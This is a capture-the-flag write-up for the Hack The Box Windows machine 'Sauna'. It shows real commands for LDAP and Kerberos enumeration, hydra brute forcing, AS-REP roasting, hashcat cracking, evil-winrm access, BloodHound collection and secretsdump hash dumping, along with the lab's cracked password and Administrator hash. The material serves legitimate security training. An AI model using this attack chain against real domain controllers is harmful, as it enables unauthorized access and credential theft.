Buy me a tea

Hackthebox - Sauna

  • Windows

Sauna

Nmap

HTTP

Port 80

  • First thing is having a look at port 80. We find this

website

Gobuster port 80

  • Looking a little at the website we get a username

username

  • We also have a page with the team so these are other usernames to keep aside for later

usernames

  • Let's try to enumerate subdomain

  • First we need to modify /etc/hosts and add this in the end 10.10.10.175 egotistical-bank.htb

  • gobuster dns -d egotistical-bank.htb -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt => This does not give us anything

Port 5985

Gobuster port 5985

  • gobuster dir -u http://10.10.10.175:5985/ -w /media/sf_kali-shared/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt

MSRPC enumeration

  • python3 /opt/impacket/examples/rpcdump.py 10.10.10.175

Ldap enumeration

  • ldapsearch -x -h 10.10.10.175 -b "dc=EGOTISTICAL-BANK,dc=LOCAL"

  • We get a user out of this Hugo Smith

Nmap script for ldap

ldapsearch-ad

Bruteforce with hydra

  • As we found previously a user name hugo smith let's try to bruteforce with hsmith

  • hydra -l hsmith -P /usr/share/wordlists/rockyou.txt 10.10.10.175 ldap2 -V -f

  • We get hsmith:1234554321 => Probably a false positive

Kerberos enumeration

  • nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='EGOTISTICAL-BANK.LOCAL',userdb=users.txt 10.10.10.175 => nothing here

  • See if we can find a username with kerbrute

  • We do get something so it is worth trying other lists

  • Let's try with the one we made using the http and ldap enumeration

  • Here is the list I have so far

  • Let's try

  • We find hsmith again but also fsmith is a valid user as well

  • Let's try with other lists from the Seclist repo there is a huge one, let's launch it for a while and see what we get

  • We do not get anything new. As it is very huge and we got some hits let's just ctrl+c.

  • Let's try hydra again but with fsmith hydra -l hsmith -P /usr/share/wordlists/rockyou.txt 10.10.10.175 ldap2 -V -f => We get a false positive again

  • Let's go further with kerberos and try AS-REP Roasting we have the command for impacket GetNPUsers in lisandre's blog

  • python3 /opt/impacket/examples/GetNPUsers.py -no-pass -dc-ip 10.10.10.175 EGOTISTICAL-BANK.LOCAL/ -usersfile users.txt -outputfile hashes.txt

Please note here that is really important not to forget the .LOCAL in the domain as well as the / in the end.

  • We get a hash for fsmith

  • Let's try to crack the hash with hashcat hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt

  • And we get a password Thestrokes23

  • Now let's connect with evil winrm evil-winrm -i 10.10.10.175 -u fsmith -p 'Thestrokes23'

  • We can get the user flag cat user.txt

user flag

Privesc

Winpeas

  • We find creds for svc_loanmanager

  • Trying to enumerate things with svc_loanmanager does not work

Bloodhound

  • In our evil-winrm session upload /usr/lib/bloodhound/resources/app/Collectors/SharpHound.exe

  • .\SharpHound.exe -c all

  • download 20221023164632_BloodHound.zip

  • In our kali sudo neo4j console

  • bloodhound

  • We can put the zip in bloodhound

  • Turns out in bloodhound when we search for svc_loanmanager we find SVC_LOANMGR@EGOTISTICAL-BANK.LOCAL (we could also have found it using net user in our shell)

  • If we do further enumeration with this writing of the username it works

  • We can dump hashes with secretsdump from impacket

  • We can now connect as Administrator with the hash 823452073d75b9d1cf70ebdf86c7f98e using evil-winrm

  • We can grab the root flag root

PreviousHackthebox - RouterSpaceNextHackthebox - SecNotes

Last updated